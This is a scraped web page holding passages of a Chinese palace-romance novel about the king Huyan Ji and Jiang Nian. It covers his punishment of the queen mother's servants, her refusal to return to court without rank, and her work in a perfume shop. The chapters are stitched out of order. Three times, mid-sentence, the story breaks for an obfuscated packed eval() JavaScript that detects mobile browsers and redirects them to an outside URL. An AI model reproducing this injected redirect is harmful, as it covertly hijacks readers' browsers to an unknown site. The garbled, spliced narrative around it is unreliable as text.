阿星听见侍婢们挪动座椅的声音,她不敢离得太近,远远地垂手立在那里。 “你叫阿星?” 那冷冽略带力量感的声音响起时,阿星的心跟着漏了一拍,不敢相信这声音在对她说话。 “回大王的话,是。” 接着那声音又道:“跟在我身边罢……” 第119章 你身上怎么这样好闻? 呼延吉特意下了一个早朝,平时散朝后还会同臣下在议政殿坐一会儿。 今日提前散朝,一出大殿径直来了祥云殿,也不让人通传,就阔步走了进来。 他就见那道纤薄的身影,腰板挺直地跪在殿中,碎光斜在她的头身上,落在她周围的地面,空气里还有蓝色的灰尘打着旋。 她在笑声里显得那样安静。 呼延吉的心狠狠地抽了一下,在他的印象中,江念不是这样,她变了,那并非一种值得让他高兴的改变。 他将她捧在手心,江家人将她捧在手心,这种躬身下的顺服,不是她,那不是她该有的姿态。 因为他,一切都是为了他…… 江念将笑声隔开,沉在自己的思想里,连上首的笑声几时停的也不知,当她感知到时,手臂上多了一个力道,将她从地上拉起。 她回望过去,不是别人,正是呼延吉,此时殿中人除了高氏,俱伏地跪下。 他环护着她走到一侧的座椅边,轻声道:“阿姐,坐下。” 江念不知他怎么这个时候来了,预感接下来有事要发生。 待江念落座后,呼延吉走到高太后右手边的上座,撩衣坐下。 高氏到底有些心虚,不知他是何意,开口道:“梁妃过来请安,现下大王来了,把人带回罢。” 呼延吉缓缓点了点头,并不看高氏,开口道:“本王坐了这一会儿,连个上茶的人都没有,母后殿里的人好大的架子!” 伏跪的众人心底大叫冤枉,大王您不叫起身,咱们这些人哪个敢动?既然不能动,又如何给您上茶水? 众人心中叫苦,却听上首君王一声吩咐:“来人!” 立时从殿外进来十几名银甲亲卫,一进来,整个殿里的空气都往下沉。 “每人二十大棍,拉下去,打罢。”呼延吉将身子往后仰靠,闲闲说道:“儿子今日有时间,就在这里替母后教教奴才们规矩,儿子也知母亲最是讲规矩的一人,刚才隐约听到《内训》二字,虽未拜读过,不过从那字面便知,内训!内训!就是从内部开始教训。” 高氏听后,两眼直瞪瞪,差点喷出一口老血,这小混账说的什么歪理?! 呼延吉不睬她,淡漠道:“开始罢。” 亲卫将殿中的奴才一个一个往外拖,只听得殿外棍子落在肉上的“啪,啪——”声,又清脆又响亮,却听不见人声,只因亲卫怕扰到君王,便将宫人的嘴塞住,不让其发出声音。 高氏气得脸色发青发灰,两腮松弛的肉打着颤儿,这哪是在打那些奴才们,这是在打她的脸呐! 外面的每一声,都结结实实地落在她的脸颊上,火辣辣地烧疼。 朵妲儿同朵氏仍伏跪在地。 斜光中,朵妲儿发现地上零星的影闪闪晃动,不知是什么东西,遂抬眼看去,惊了一下,那晃动的东西是长姐头上的坠苏,坠苏晃动是因为人在发颤。 她那位一向高高在上的长姐居然止不住地颤抖。 朵妲儿心惊,怎的怕成这样? 江念展眼看去,整个殿中,只有三人坐着,那三人便是上首的高太后、呼延吉,还有下首的她。 再就是不时进出的亲卫,把跪伏在地面的祥云殿宫人架出去。 她望向呼延吉,想要起身说两句,毕竟宫人们无辜,却见呼延吉暗中朝她压了压手,只好静静地端坐在那里。 她明白,他这是故意惩戒祥云殿的宫人压高太后的气焰,如此大动干戈,也是为了让王庭所有人知晓,让所有人看清,她的背后有他,她不是可以被随意对待的,他在给她做脸。 “逆子!逆子!”高太后拍着椅扶,气骂道。 “母亲莫要动怒,为我这么个逆子气坏了身子不值当。”呼延吉的语气很是随意。 殿外的刑杖声还在继续,殿里的宫奴已被拉出去七七八八,此时从外进来两名亲卫,走到高氏身侧立住脚,没有丝毫迟疑地将高氏身侧伏跪的一人拉起。 正是高氏跟前的女官,金掌事。 一向严肃寡面的金掌事这会儿面色也变了,意识到这次君王是真的恼了。 从前大王来祥云殿,哪怕圣太后不待见王,王并不在意,态度依旧恭敬,如今却为了梁妃公然威压太后。 她一把老骨头真要挨上几板子,板子还未打完,估计就得断气,正想着,架在她两侧的亲卫突然松开手,就听大王说道:“今日就免了金掌事的责罚,你是太后跟前的老人,平日该多劝着她一些才是。” 金掌事吁出一口气,连连称是。 呼延吉看了眼地上的朵家两姐妹,再从她二人身上移开,起身,走到高氏面前:“人也教训完了,儿子告退,母亲千万保重身子。” 高氏不语,扬手往呼延吉脸上扇去,她对这个小儿子半分都近亲不起来。 她也坚信小儿子对她没有多少亲情,两人维持着表面的平和,不过是身份使然,当然了,这个身份无关乎母子情。 高氏恨透了梁国,她将大儿子的死归罪于梁,归罪于梁人。 所以她对自小在梁国长大的呼延吉,便看哪儿都不顺眼,看哪儿都是错,这种偏执全无道理,高氏却不管那么多,她认为呼延吉能回来,是呼延成用命换的。 不然为什么他明明有两个孩子,现在只有一个了,因为一命换一命。 妇人的手高高扬起,也不管身旁有无有人,一记重重的耳刮就要落在呼延吉的脸上,预料中的巴掌声没有响起,挥动的手被另一只手截住。 余下的众人听见异动,不免抬头看个究竟,截住太后之人正是一直未曾出声的梁妃! 众人无不震诧当场,尤其是朵氏两姐妹和金掌事,她们就在高氏身侧,纵然跪着,眼角的余光也能让她们获悉正在发生的事情。 江念躬下身,轻声道:“大王对太后一片孝心,然,即便太后是母亲,也不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371307|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逾越君臣之礼,我大梁不止有规范女子行止的《内训》,还有一书《礼记》,其上有言‘子虽尊,母不得以尊临卑’,大王若有不是,太后可劝谏,不可动手辱之。” 江念说完,殿中安静得可怕,只有殿外“啪,啪——”的杖责声,没一会儿,那杖责声也没了。 她清楚,这一举动势必会让本就不喜她的高太后对她更加厌恶。 呼延吉代表最高皇权,数番为这个国家出生入死,才得以定乾坤,方坐稳王庭,高太后公然对呼延吉羞辱,折损其威信,岂止伤及天颜。 五上姓觊觎在侧,若君王威仪有失,怎能御下?! 江念想不通,太后既是呼延吉之生母,为何要如此行事?她也并不知,自她上前,呼延吉的眼睛就落在她的身上,没移开过。 呼延吉当然不会受下这一记耳刮,他料到他母亲的举动,却没料到江念的举动,更不会想到她接下来说的那番话。 适才,他见她跪在殿中,挺直的腰还有微垂下的头,在光尘中寂然的背影,他说她变了,为了他,她变得乖顺,变得忍耐,可有一点,自始至终未曾变过,她仍是那个为了他可以奋不顾身,挺身而出的江家女郎。 高氏面皮涨红,嘴里连连说着“好,好,好”,显然气极,沉了两息,字从牙间蹦出:“我打不得他,还打不得你?!” 说着就要扬手,却被一个声音揿住。 “母后!”只这两个字,再没有别的了。 高氏从小儿子嘴里听出了一丝隐隐的威胁,这威胁她当然是不惧的,就算他为君,却不敢对她这个母亲怎样,这也是她的倚仗,小儿子不敢对她不敬。 然而,高氏千算万算还是算漏了一点,当着呼延吉的面对江念动手,已然触碰到呼延吉的底线,而呼延吉的那一声“母后”,她当时并未知晓其中的意思,待明了时已经晚了。 呼延吉带江念离开后,殿中众人仍不敢起身。 高太后怔愣着,小儿子离开前的那一眼蓦地让她心漏跳一拍,浑身窜起寒意,最后只能自我譬解,是她想多了。 …… 呼延吉同江念回西殿,路上两人各自坐着乘辇,没有言语,待进了西殿,呼延吉挥手让人退下,殿中只他二人。 呼延吉走到露台处,坐到泉水边的玉矶上,招手让江念上前,江念便走到他的跟前,侧身坐下。 “手指还疼不疼。” 她将手摊出来给他看。 他拿起她的手,好一番端相,原本好看的指甲短了一截,应是当时剔青核果时劈折,后来回到西殿让宫婢给她重新修剪过。 指头还好,红肿褪去了些。 “怎么今日下朝这么早?”江念问道,其实她是想问,他怎么察觉出异常的,不然不会那么凑巧,俨然专为她去的。 呼延吉没有立即回答,而是往她身侧靠了靠,问道:“你身上擦的什么香,怎么这样好闻……” 第90章 嫁人 两人看去,正是呼延吉走了进来,身后还跟着一人,女子圆圆的脸,眉眼弯弯。 “阿星?”江念惊呼一声。 阿星立在呼延吉的身后,对着江念微微一笑。 呼延吉走到江念身边,看向安努尔:“她嫁不嫁人,需得问过我。” 安努尔笑了笑,站起身:“自然要征得家人的同意,可我觉着延吉没理由拒绝,安家在徽城还是有些头脸的,阿念若是嫁于安家,我自当好生对待,你是她阿弟,难道不希望她好?” 呼延吉冷笑一声,也不看安努尔,只是看向江念,沉着腔子:“你说话,嫁不嫁?” 江念很见不喜他逼问的态度:“我嫁不嫁人,几时嫁,嫁给谁,同你没干系。” 呼延吉先是怔了怔,急道:“你……你从前怎么跟我说的?” 江念知道他在说什么,那年他向梁帝请旨赐婚,她让祖父进宫阻下,没多久夷越使臣来梁接他归国,离开的前一夜,呼延吉来找她,不讲理得逼她应他一件事。 只要他一日不娶妻,她就一日不嫁人。 那晚已是深更,他翻墙而入,闯入她的闺房,她担心被人撞见,只想快些打发他走,便随口应下了。 江念看向安努尔:“安阿兄,我今日身子有些不适,容我再休半日,可以么?” 安努尔关心道:“我送你回,再请个大夫给你瞧一瞧。” “无事,就是有些没休息好。”江念辞过,不再多说,往店外走去。 回到桂花巷,江念不理呼延吉,只叫阿星进了她的屋子。 “今日才到的么?”江念笑问道。 阿星在江念面上看了两眼,不知该以什么态度答话。 来的路上她已知道了一些,大王带她出来是让她来伺候江念的,江念安好,并没有失踪。 阿星先是站起身,就要向江念躬身行礼,却被她担起:“坐着说话。” 江念看出了她的局促,一时弄得她也有些讪讪的,再也没有从前的亲昵感。 “阿星,你跟我不必这样,随意一些。” 阿星这才抬眼看向江念:“你同阿月出宫,就没再出现,是出了什么事?后来阿月也不见了。” “这件事情,一句两句说不清楚,你也别问了,我另外有事同你说。” 江念隐约知道是阿月坑害她,若不是那名店伙计放她一条生路,她已是黄土枯骨,她曾告诉自己,阿月是有苦衷的,可自己的命也是命。 “阿念,你刚才说有事同我说,什么事?”阿星问道。 江念想了想说道:“大王让你到我身边伺候,对不对?” 阿星点了点头。 “那你可愿意?” 阿星默了一会儿,方道:“自然是……愿意。” 江念在她面上端相一眼,又道:“如果我同你说,我再也不会回王庭呢?你可还愿意跟在我身边?” 阿星不过一个王庭的低等女婢,身为君王的呼延吉让她怎么,她只能怎样,没有选择的权利,没有拒绝的资格。 江念见阿星说愿意时面色有异,便又道出自己不准备回王庭了,她可还愿意跟在自己身边。 她对呼延吉说不愿回去,并非一时赌气,而是另有原因,所以无论呼延吉怎样厮缠,她都不松口。 阿星听此一说,赶紧反问:“为何再也不回王庭了?” “你先回答我的话,如果我再也不回王庭,且……终有一日,我会回梁国,回自己的故土,你可愿意跟在我的身边?”江念问得十分认真。 阿星垂下头。 她原以为是调她到正殿当值,还小小地欣喜了一下,结果不是,见到江念她自然是高兴的,可高兴归高兴,她却不情愿离开王庭。 更不情愿在江念身边伺候,心里总是有股说不出的别扭,在她心里,江念应当同她一样,是听人使唤的奴才,怎能当主子? 江念见她这副神情,便明白了,也很能理解,别的不说,阿星还有家人在京都,自然是舍不下的。 “无事,你的意思我已明了。” 阿星抬起头,眼中闪过一丝紧张:“可是大王他……” “不必担心,我去同王说明就好了。”江念拍了拍她的手,心底仍是有些可惜,短短几个月的工夫,好像有什么变了。 江念领着阿星出了房,让秋月带她去街上转一转。 待两人走后,江念敲开对过的房门,走进屋中。 呼延吉倚靠在窗边,头也不转,侧头看向窗外:“我把那丫头带来了,你从前不是一向跟她好么,快把那个叫秋月的撵走。” 江念坐下,淡淡说道:“我几时说要留下阿星了?你让人把她送回王庭,无须在我跟前伺候。” 呼延吉收回眼,转到江念身上。 “我送你的人你不要,那个安努尔送你的人你就留着?”**自己还要怎么做,已经将姿态放到最低。 今日听见安努尔想要娶她为妻,他简直不敢想,若他没有正巧撞到,她指不定就应下。 江念看向呼延吉,似是细雨落沙一般,叹道:“吉儿……” 就这么一声轻唤,便让对面的年轻男子一扫愁烦,睫毛轻颤间,一双琥珀色的眼眸重燃星火,兴兴地拉着凳子坐到她的身侧,等她接下来的话。 江念觉着有些话还是说明白的好,免得他成日在她身边跟头跟尾。 “之前我说的那些话并非气话,也并非故意怄你,我是真不打算同你回王庭。” “理由呢?”男人也静了下来。 江念直言道:“若我同你回王庭,你打算怎么安置我?” 呼延吉松下一口气,轻笑道:“原来是担心这个,回了王庭你自然跟在我身边,我在哪里你便在哪里,是不是担心我再遣你回教**司?我同你保证,再不让你去那里,你日后在西殿想怎样便怎样,可好?” 江念摇了摇头:“何必装糊涂,你明知我指的不是这个。” 呼延吉终是正了脸色,在江念脸上端相了好久,启口道:“我现在没法给你身份。” “是啊,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371278|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我同你回王庭算什么?”江念换了语调,郑重再问,“若妾幸蒙恩渥,位次何属?奴妻么?” 呼延吉默然不语,他现在没法给她一个回答,或者说没法给她想要的回答。 夷越表面看似平和安泰,也只是表面看起来而已,对外,他要抵御大梁,对内,还要压制五上姓。 上姓氏族不仅各自拥兵,朝中党羽众多,盘根错节,且上姓氏族间又相互联姻,如今他唯有拉拢夷越世家与其制衡。 这也是为何他要留朵氏在王庭。 朵氏是一面挡箭牌,至于能挡多久,他自然希望越久越好,但终不是长久之计。 如今他坐到这个位置,岂能尽遂本心?不是他想怎样就能怎样,手握皇权,皇权犹如那千钧之鼎,稍有不逮,必遭其覆压。 他需要时间,想要削除五上姓势力不在朝夕之间,在此之前,他没法给她任何保证,他甚至不能保证此生只她一人,必要之时,他会同上姓联姻,娶上姓之女,让其为己所用,从而给自己争取更多的利处,再逐一瓦解削弱上姓氏族。 江念见他不语,心中虽早已料定,仍是有些伤戚。 “江念,我最后再问一遍,这是最后一遍,你若不愿,我不强求。”呼延吉放缓语调,“真不愿随我走?” 江念搁在双膝上的手紧紧蜷着,掐着手心,疼疼地呼出一口气:“我就留在徽城了,先赚些银钱,之后……想办法找江轲,或是让他来找我。” 江轲是她在世唯一的亲人。 说罢,江念出了呼延吉的房屋,前脚刚进自己的房屋,后脚就听到院门开阖的声音,她回走到对过的房门前,门开着,人已去。 这一日,她再没见到呼延吉,亦没见到阿星。 秋月做好晚饭,摆上桌,在院子里喊叫了一声:“阿姑,晚饭好了,起来用饭。” 江念从床上撑起半边身子,额穴一跳一跳的,抬手揉了揉,再将轻纱帐掣起,院中已点上灯。 她趿上鞋,随意披了一件外衫,胡乱把头发绾在脑后,出了房屋,院桌上已摆好菜馔。 秋月拿来碗筷:“阿姑白天就没好好吃,晚上这一顿好歹吃一些,知道你今日胃口不佳,我特意做了清淡的菜馔。” 江念笑了笑:“你也坐下吃罢。” 秋月得了话,这才坐下。 “阿姑,今儿那个叫阿星的走了呢,怎的才来一日就走了?” 江念咽下嘴里的饭,轻声道:“回家了罢!” 秋月点点头,替江念舀了一碗清汤:“这汤用小鸡伴野菌菇熬煮的,很是鲜美,阿姑尝一尝。” 江念接过,舀了一勺放到嘴里,秋月想要拦阻已是来不及,就见女人“嘶——”了一声,嘴唇刚碰到汤就缩了回来,同时将汤匙快速拿远,睫毛猛地颤了颤,呛得眼眶瞬间浸出泪花。 “快喝些凉水津一津,这汤一直在灶上煨着,才从砂锅里舀出……” 秋月的声音渐渐弱了下去,只因女人眼里滚出的泪珠越来越多…… 第91章 别动,别动…… 秋月拿起绢帕替江念拭眼底的泪儿。 她隐约知道阿姑为什么哭,大约是小郎君走了的缘故,小郎君在的时候,阿姑嘴上虽没说什么,可她看得出来,她的心情很好,小郎君在外吃酒,那么晚了,她也要等他回了才睡下。 江念拿过帕子,将腮上的泪拭净,笑了一笑:“莫要取笑我,喝个汤把自己给烫哭了。” 秋月把江念那碗菌菇汤端起:“婢子给阿姑舀一舀,一会儿凉下来就可以喝了。” 江念笑着点点头。 用**后,秋月备上热水,江念回房沐身,盥沐毕,换上干净的寝衣,踢掉鞋,上了窗榻,从旁拿过一块薄衾,垫在窗栏上,自己便枕着衾被透过窗隙吹晚风,看着院中淡淡的蓝色调。 秋月将房间收拾干净,待一切忙好,拿了小烘炉来,给江念烘干湿发。 “不用了,你去歇息,我再坐一会儿,待头发干了便睡。”江念说道。 秋月摇了摇头:“头上湿着,可经不住夜风吹,仔细头痛。” 江念微笑道:“把烘炉给我,我自己来,你也忙碌了一天,去睡罢。” 秋月这才没说什么,将暖炉递到江念手里,回身到床榻边,在脚榻上铺了床盖,躺下睡了。 女人手里握着暖炉,并没有拿来烘干发丝,她的指尖在金铜炉身缓缓地摩挲着,像要把一腔子心事都摁进炉身里。 不知几更天时,炉身凉了,指尖也凉了,那一头如绸的柔发染上青蓝色的月华,披散下来,缱绻堆在腿边。 江念整叠好窗栏上的衾被,探出身就要取下窗撑,“笃,笃——”的叩门声在寂静的院中响起,心道,这么晚了,会是谁,遂系上外衫,拢起发,下了窗榻,出屋,走到院门前。 “谁?” “阿念,快开门,是我。” 是石儿禄的声音,声音里有丝紧迫,夜重深更的,他来做什么。 江念抽开门闩,昏暗的门影里站着三人,一个石儿禄,一个安努尔,两人中间架着一个蔫头耷脑的男子。 纵使看不清脸,她也一眼认出了中间那人,不是呼延吉却又是谁,三人身上都带了酒气,身后还立着几个小厮,遂让开身,让两人将人搀扶进房,安置到床榻上。 石儿禄瞥见江念脸色有些难看,怕她起怨嗔,赶忙解释:“昨儿是我请的,今日轮到安努尔了,仍是在华兴楼治的酒席,阿念,我可没故意灌你阿弟酒啊,他倒好,把羯田几个喝倒了不说,又自顾自喝起来,我同安努尔拦都拦不住,还把我们拉着一起喝,不是我俩控着一点,咱哥仨今夜都要在华兴楼躺一宿。” 江念看向安努尔。 安努尔坐在桌边,头醉沉得很,这小子灌酒的架势很是生猛,简直让人难以招架。见江念看来,抬起一张潮红的脸,点了点头,算是承认了石儿禄的话。 石儿禄抚了抚额,叹出一口酒息,又道:“依我看呐,你阿弟有事情闷结在心,今夜吃酒时我看他那样子很不对劲,且这闷结多半因为女人,等他酒醒了你同他谈一谈,好男儿何患无妻,怎至于为了一个女人伤身。” 安努尔撑在桌边,缓了几息,站起身走到江念身边:“把秋月叫来罢,让她伺候,他醉成这样,你怎样招呼得了。” 江念看了一眼床榻上醉得人事不省的人,微笑道:“无事,劳你们带他回来,你二人也醉得厉害,赶紧归家歇息罢。” 安努尔点点头,叫上石儿禄离开了。 待二人走后,江念闩了院门,打了一盆水走回屋中,侧身坐到床沿,目光轻落到男人的醉颜上,怔怔地看了好一会儿,然后抬手揾了揾他醺红的面庞。 男人似有所觉,沉沉的醉意中捉住那手,眼似睁非睁地看了过来,掌心稍稍带出力道,将那手摁在胸口。 “阿姐,你是不是不要我了?”男人喃喃道。 江念不语,就那么任他抓着她的手。 他将她的手抓得更紧了:“你真的不要我了……”隔了一会儿,他撑起半边身子,艰难地坐起,盘起双腿,微垂着头,把玩她柔白的指,“让我再住些时候罢。” 江念说不清心里是什么滋味,只是淡淡地“嗯”了一声。 这一刻她真实悟得,人和人不论前缘再深厚,终有一天会走散,这世间有太多事情,不好说,不可说,她知道他有他的不得已,而她呢,向来是个私心很重的人,做不出太大的牺牲。 做不了那内助之贤,亦无法助夫成德。 她深知这是一条多么艰难的路途,一旦踏上,那路上的艰辛和无奈只有自己品味。 在可以多妻的夷越,她在呼延吉身边连一个妻的位次都不是,她梁人的身份仅仅只能是奴妻。 他需要强有力的支撑,而她呢,早已是个无家之人,什么都没有,她助不了他,不仅助不了他,还需他分出精神看护她,说直白一点,她就是一个累赘的包袱。 女人低下头,将毛巾在水里浸透,摆了一摆,再提起拧干,耳边的缕发随着动作落下,一头乌发绾在脑后,露出一块柔腻的粉颈。 呼延吉很想在那里吻一吻,终是忍住,只是抬起手,在她头上抚了抚。 江念手上的动作一顿,扭过身,将拧得半干半湿的毛巾递到他手里:“擦一擦脸。” 男人接过毛巾,仰头歪倒在床上,也不褪靴,把毛巾往面上一盖,不言不语,有些无赖的调性。 江念只好从他面上拿起毛巾,胡乱在他脸上擦了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371279|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,刚要转身,却被他的力道带倒。 也就是一瞬的事,人已被呼延吉揽在了怀里。 “你松开。”江念挣扎道。 “不放。”呼延吉埋首于女人颈窝间,闷声道。 他没想到她真能狠心丢下他。 “呼延吉!我可恼了。”江念说道。 “恼也不放。”多久没听她这样直呼自己了。 江念哪挣得过他的环锢,气得握拳往他身上捶打,然而,下一刻又是一怔,衣摆在挣推中被撩起…… 她感觉到时,上身的衣摆已被撩起,一双大手舒到衣里,抚上她的腰肢,呼延吉这是打算不顾她的意愿霸王硬上弓,让她不得不妥协? 想到这里,越发挣扎得厉害。 “别动,别动……”男人的鼻音有些重,“我手凉,在你腰上渥一渥。” 那微凉的手舒在她的腰间,果真没再动作,就那么掐在她的腰窝处。 “你看你吓的。”男人语调中带了一丝笑。 江念吁下一口气:“你这人,心性乖戾诡谲,难说得很。” “那是对外人,对你几时有过假意。”男人说着,从她的颈项窝间抬起头,透过幽暗的光,直直看向她,“那句话还作不作数?” 江念愣了愣,不说话。 “作不作数?”呼延吉可没打算放过她,见她不回答,双手在她腰间咯吱。 江念身子敏感,又最是怕痒的一人,被他一挠,咯咯笑起来,在这深夜里却又不敢大笑,只能讨饶:“作数,作数,快住手……” 呼延吉却不停手,坏心眼地说道:“你把那话说给我听,我要亲耳听你说。” 江念默然了一会儿,说道:“你一日不娶妻,我一日不嫁……” 这回答似是让他满意了,服帖地抵上她的额,他现在什么也不敢承诺,却自私卑劣地让她等他。 只因为他离不开她。 次日,江念仍是起了一个大早,待秋月将她梳洗好,便走到对过的房间,果然,门扇开着,床榻上又是空的,知道他定是牵了驴车在巷口等她。 “阿姑,我做了卷饼,给你包着,你带去店里吃。”秋月说着走进灶房,拿了一个油纸包出来。 “再拿一个罢。”江念说道。 秋月笑道:“给阿郎的罢,包在这里面了,够吃的。”秋月用细麻绳将油纸包系好,递到江念手里。 江念看了眼油纸包,笑着嘱咐了几句走出院门。 秋月送她到院门,望着她走到巷子口被小阿郎抱上板车,然后阿郎侧坐到车辕上,赶车离开。 她家阿姑只怕自己没察觉,小阿郎一回来,她那嘴角一直噙着微微的弧度。 唉!大爷再怎么费尽心力,终是抵不过人家青梅竹马…… 第92章 女人香 路上,江念拆开油纸包,拿出一张卷饼递给呼延吉:“拿着。” 呼延吉笑着接过,就着吃了一口:“这丫头的厨艺还不错。” 江念笑道:“你还让我把她撵走,我可是舍不得,一看见她我就想起秋水那丫头,不知道她现在好不好……” 呼延吉咽了咽,开解道:“她一个丫鬟,卖到哪家,哪家就是她的主子,有什么好不好的,你快别多想。” 江念点点头,告诉自己,秋水鬼灵鬼灵的,一定能护好自己。 “我还是再给你指派一个丫头罢,你那院子指望她一个人照看也辛苦不是?又要烧火做饭,晚间还要给你烧热水,光那一大桶水,就劳人得很,还不说其他细碎的事。”呼延吉说道。 江念想了想,这话说得倒是在理,她这个人事情又多,一会儿这样,一会儿那样,以前讲究惯了,有些毛病不知觉就滋冒出头,譬如每晚都要沐身,沐完身,还要从头到脚搽香膏。 每日菜馔也讲究,必要有荤有素有汤,院子里还要有花,那花又需格外看顾。 “你从哪儿弄人来,那些宫婢一个个也不愿下到民间,我也不愿要一个心不甘情不愿的人来伺候。” 呼延吉笑了笑:“有钱还怕买不到听话的人,这事就不消你操心了。” 江念也不反对,秋月身边若能有个人搭把手,也轻松一些。 “要我说你别在这香料店做了,我让人搬几箱金锦来,你爱怎么花便怎么花,花完了我再给。”呼延吉甩了甩手里的绳鞭,闲闲说道。 “赚钱是一方面,主要我也爱调香,何乐不为呢?” “那你在家中调制不也一样么,少什么我让人给你买来,每日巴巴往店里跑,图什么。”实是他有些忌惮安努尔,若他走了,担心两人每日朝夕相对,日久生情。 那男人看起来云心月性,实则很有心计,闹贼一事多半出自他手,但他没有证据,若告诉江念,她指定不信。 他不想因为这点子事再生嫌隙。 江念倒是很有耐心,说道:“在家中调香那就是闭门造车,在店里不一样,有客人上门,从他们的言语中能学到更多,都是书上学不到的。”女人不知想到什么,笑了一声,“我要调制一款独一无二的香。” 呼延吉也笑了,侧过身子,看了眼她手里啃了半截的卷饼:“你还吃不吃,我没吃饱。” 江念把自己吃剩的饼让给他:“吃罢,我一向吃得少。” 呼延吉接过那饼,三两口塞到嘴里。 两人说话间,到了四季轩门前,江念进了店,呼延吉往里看了一眼,重新坐上驴车,甩着鞭离开。 进了制香隔断间,江念先给自己倒了一杯热茶,喝了半盏,然后照往常一样整理香料。 天大亮后,晨雾散去,街市上变得熙攘,人声热闹,店里往来客人变多。 因店中生意变好,掌柜的又另招了两个伙计,除开制香师,加上原先的两名伙计,现下店里一共有四名伙计。 “阿姑,烦你来一下。”前面的店伙计叫了一声。 江念听见,放下手里的香匙:“就来——”说着在旁边的面盆净过手,拿绢帕拭干水渍,去了招客的厅堂。 前面的客堂里挤了好些客人,有男有女,衣着打扮皆是不菲。 掌柜的往里张望,见江念走来,笑得手脚没处放,他真是招了个宝。 不仅能调香,还能给他家招客。 从前客人到四季轩来,十个人里有七人进来看一眼,问询一下价,就走,多半是不买。 自打有一日店中伙计告假,他让江念抽空到客堂帮忙招呼,也是稀奇,从那日之后,店里便多了许多男客,来了后便点名让制香师来说道。 只要江念出面说两句,不论那香料是贵是贱,他们都会买下来。 再后来,男客们的女眷面色不善地找上门,男客则讪讪地随在后,有些抬不起眼的样子。 女客们一进店也是指名找江念。 那些贵妇们见到江念后,先是将江念打量一番,皆以为自家男人被这女店工迷住,本打算借买香料言语刁难于她,谁承想,一番往来,贵妇们**念夸赞得心中熨帖,心情大好。 试问,一个长相绝美女子的夸赞,谁不受用?且那些话并非谄媚之言,而是真真实实地说到人的心坎上,既精于术业且竭诚。 江念出身极贵,自小便是金银堆里的人儿,偏她又好繁华美物,养成不凡的品位,这样一个人说出来的话,很难不让贵妇们信服。 到后来,不论男客女客,进店选品,但凡拿不下主意,便让店伙计请江念出来,只消她稍稍说上两句,客人们不再犹豫,欢欢喜喜掏银子。 就这么的,名声传了出去,四季轩里的制香师可帮客人选品,不迎合讨好,言辞中肯,从而店中生意越来越好,别的香料店都赛不过他家生意。 这当中最高兴的莫过于店掌柜,虽说四季轩的东家是安家,可他作为掌柜的,店中的利钱亦有他的两成,他自然盼望生意好。 “江香工,你来,你来,客人有些不定拿哪一样。”掌柜的也不叫江念丫头了,直接改口江香工。 当然了,这个仅限于江念,店里的其他制香师可没有这个待遇,譬如老巴,仍是老巴。 那名扮相富态,面上抹粉,盘着粗辫的贵妇人,见江念走来,笑道:“你帮我择一种,这两个膏子我闻着都不错,倒不怕费银子,就怕买着不适用于我。” 江念微笑着接过两盒膏子,放鼻下轻轻一掠,思了片刻:“若我是夫人的话,就要这盒夜宴玉体香,另一盒香膏自然也是好的,只是这玉体香更符合夫人雍容的韵味。” 妇人听罢,心中已是有了定夺,江念却没有任何敷衍,态度诚恳的继续说道:“此香以檀香加牛乳收干,拌入融化的蜂蜡,还调入了玫瑰露,浴后涂抹于颈后,暗香随体温渐变,有似牡丹绽放,正合夫人。” 江念说着,又看向另一盒:“这一盒香味清淡,香调也是好闻的,就是太雅了。” 妇人连连点头,掩嘴笑道:“可不是呢,我就觉着这个玉体香更好,你把我心里的话都道出来了。”说着指着店伙计,“就这个了,替我包上三盒。” 这时又走来一伙计,请江念去幕帘后,说客人有请。 江念随店伙计去了珠帘后,亦是一位贵妇人,较之刚才那位雍容妇人,这位看着更为端丽,妇 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贵妇人满意地点点头,又道:“你再为我先一款特有的香,我留给自己用。” 江念思忖道,这位贵妇人是四季轩的常客,店中香品几已购置,遂问道:“夫人打算几时往定州?” “再过两三个月,待我家老爷把手头的事情处理了便要动身。” 江念算了算,说道:“待到那边应是深秋了,那边的秋季不比这里气暖,很是寒凉,夫人需多备些御寒的衣物。” 贵妇人点头笑道:“香工说的是,衣物已然备下了,去了那边,也是住在我那姐妹家中,她家境况尚可,各屋都燃有暖壁。” “夫人若等得,我正要调制一款暖壁香,本是留着我自己用的,泥末状,涂抹于壁,壁暖时,辛香盈室,待烘干时自行从壁面脱落,正适合冬日烘烤,这香自己用好,送人也不忌讳。” 江念又道:“此香中含有桂草、丁香、艾草灰、橘皮,温而芳,悠悠暖香,辛而不呛,窗外寒风大雪,屋内却气暖如春……” 还未说完,贵妇人已是迫不及待欢喜道:“香工,我就要这个,你替我调制了,多调一些,我自己留用,另再送人。” 